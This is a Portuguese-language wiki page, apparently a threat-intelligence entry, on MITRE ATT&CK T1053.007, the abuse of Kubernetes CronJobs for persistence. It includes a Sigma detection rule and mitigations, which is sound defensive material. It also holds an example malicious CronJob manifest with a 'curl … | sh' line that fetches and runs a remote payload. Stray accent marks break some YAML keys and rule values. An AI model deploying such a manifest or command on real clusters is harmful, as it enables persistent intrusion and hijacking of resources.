# T1053.007 - Job de Orquestração de Containers
## Técnica Pai
Esta é uma sub-técnica de [[Job]].
## Descrição
Plataformas de orquestração de containers, como o Kubernetes, oferecem mecanismos nativos de agendamento de tarefas que permitem executar workloads em horários ou intervalos definidos. No Kubernetes, o recurso `CronJob` cria e gerencia objetos `Job` automaticamente - cada `Job` provisiona um ou mais pods que executam containers até a conclusão da tarefa. Essa funcionalidade é amplamente usada para backups, rotinas de manutenção e processamento batch, mas pode ser abusada por adversários com acesso ao cluster.
Um atacante que obtém acesso à API do Kubernetes pode criar um `CronJob` malicioso que implanta containers com código arbitrário em qualquer nó do cluster, de forma recorrente e automatizada. A vantagem operacional é significativa: o objeto `CronJob` age como mecanismo de persistência - mesmo que o container sejá terminado ou o pod excluído manualmente, o orquestrador recria automaticamente o job conforme o agendamento. Além disso, ao usar imagens de containers legítimas (com ferramentas como `curl`, `wget` ou shells completos), o tráfego malicioso pode se misturar com a telemetria normal do cluster.
Variações comuns dessa técnica incluem o uso de `DaemonSet` para garantir que o container rode em todos os nós simultaneamente, ou o uso de `Deployment` com `restartPolicy: Always` para manter um container malicioso continuamente ativo. Em ambos os casos, o mecanismo de self-healing do Kubernetes transforma o orquestrador legítimo em um mantenedor involuntário da persistência do adversário.
**Contexto Brasil/LATAM:** A adoção acelerada de Kubernetes por empresas de tecnologia, fintechs e grandes varejistas no Brasil amplia a superfície de ataque para essa técnica. Clusters mal configurados - especialmente aqueles com a API do Kubernetes exposta à internet sem autenticação adequada - são alvos frequentes de campanhas de cryptomining e de grupos que visam exfiltração de dados de ambientes cloud-native. O [[s0599-kinsing|Kinsing]] e variantes do [[xmrig|XMRig]] são exemplos de malware que exploram exatamente esse vetor em ambientes de containers.
## Attack Flow
```mermaid
graph TB
A[Acesso à API K8s] --> B[T1053.007 - CronJob Malicioso]
B --> C[Container Implantado]
C --> D[Execução Persistente]
D --> E[Cryptomining ou Exfiltração]
```
## Como Funciona
**1. Preparação**
O adversário obtém acesso à API do Kubernetes - por credenciais comprometidas, token de service account vazado, misconfiguration do RBAC ou exploração de vulnerabilidade no servidor de API. Com permissões de criação de recursos no namespace-alvo, é possível descrever e submeter qualquer tipo de workload.
**2. Execução**
Um manifesto YAML de `CronJob` é submetido à API do Kubernetes (`kubectl apply` ou diretamente via HTTP). O manifesto define a imagem do container, os comandos a executar, o agendamento (cron syntax) e, opcionalmente, volumes montados para acessar segredos ou dados do nó host.
**3. Pós-execução**
O `CronJob` permanece no cluster e recria os pods no intervalo definido. O adversário pode usar os containers para minerar criptomoedas, realizar reconhecimento interno da rede do cluster, exfiltrar segredos Kubernetes, ou escalar privilégios se o pod rodar com `hostPID`, `hostNetwork` ou volumes sensíveis montados.
**Exemplo - artefato de detecção (manifesto malicioso):**
```yaml
# Artefato: CronJob suspeito submetido à API do Kubernetes
apiVersion: batch/v1
kind: CronJob
metadata:
name: system-cleanup # nome genérico para evasão
namespace: kube-system # namespace privilegiado
spec:
schedule: "*/5 * * * *" # executa a cada 5 minutos
jobTemplaté:
spec:
templaté:
spec:
containers:
- name: cleanup
image: alpine:latest
command: ["/bin/sh", "-c"]
args: ["curl -s http://203.0.113.10/payload | sh"]
restartPolicy: OnFailure
```
## Detecção
**Fontes de dados:** Logs de auditoria da API do Kubernetes (`kube-apiserver` audit log), alertas de Falco, métricas de criação de pods no Prometheus, SIEM integrado com logs do cluster (CloudTrail para EKS, Azure Monitor para AKS, Cloud Audit Logs para GKE).
```yaml
title: Criação de CronJob Kubernetes em Namespace Privilegiado
id: 2d8b4f17-93ca-4a02-b711-e4c8f9d20381
status: experimental
description: Detecta criação ou modificação de objetos CronJob e Job em namespaces sensíveis do Kubernetes, que podem indicar tentativa de execução persistente maliciosa
logsource:
category: application
product: kubernetes
service: kube-apiserver-audit
detection:
selection:
verb:
- "creaté"
- "patch"
- "updaté"
objectRef.resource:
- "cronjobs"
- "jobs"
objectRef.namespace:
- "kube-system"
- "default"
filter_known_controllers:
user.username|startswith:
- "system:serviceaccount:kube-system"
condition: selection and not filter_known_controllers
falsepositives:
- Operadores legítimos de Kubernetes (cert-manager, cluster-autoscaler, etc.)
- Pipelines CI/CD com permissão para criar jobs no cluster
level: high
tags:
- attack.execution
- attack.persistence
- attack.t1053.007
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1018-user-account-management\|M1018 - User Account Management]] | Implementar RBAC granular no Kubernetes; restringir a criação de `CronJob`, `Job` e `DaemonSet` apenas a service accounts e usuários com necessidade legítima; auditar regularmente os roles e rolebindings do cluster |
| [[m1026-privileged-account-management\|M1026 - Privileged Account Management]] | Nunca expor a API do Kubernetes diretamente à internet; usar autenticação forte (OIDC, certificados) para acesso ao cluster; rotacionar tokens de service accounts periodicamente e revogar tokens não utilizados |
| [[m1035-limit-access-to-resource-over-network\|M1035 - Limit Access to Resource Over Network]] | Restringir o acesso de rede dos containers com Network Policies; bloquear egresso para IPs externos não autorizados; monitorar conexões de saída de pods em namespaces privilegiados |
## Referências
*Fonte: [MITRE ATT&CK - T1053.007](https://attack.mitre.org/techniques/T1053/007)*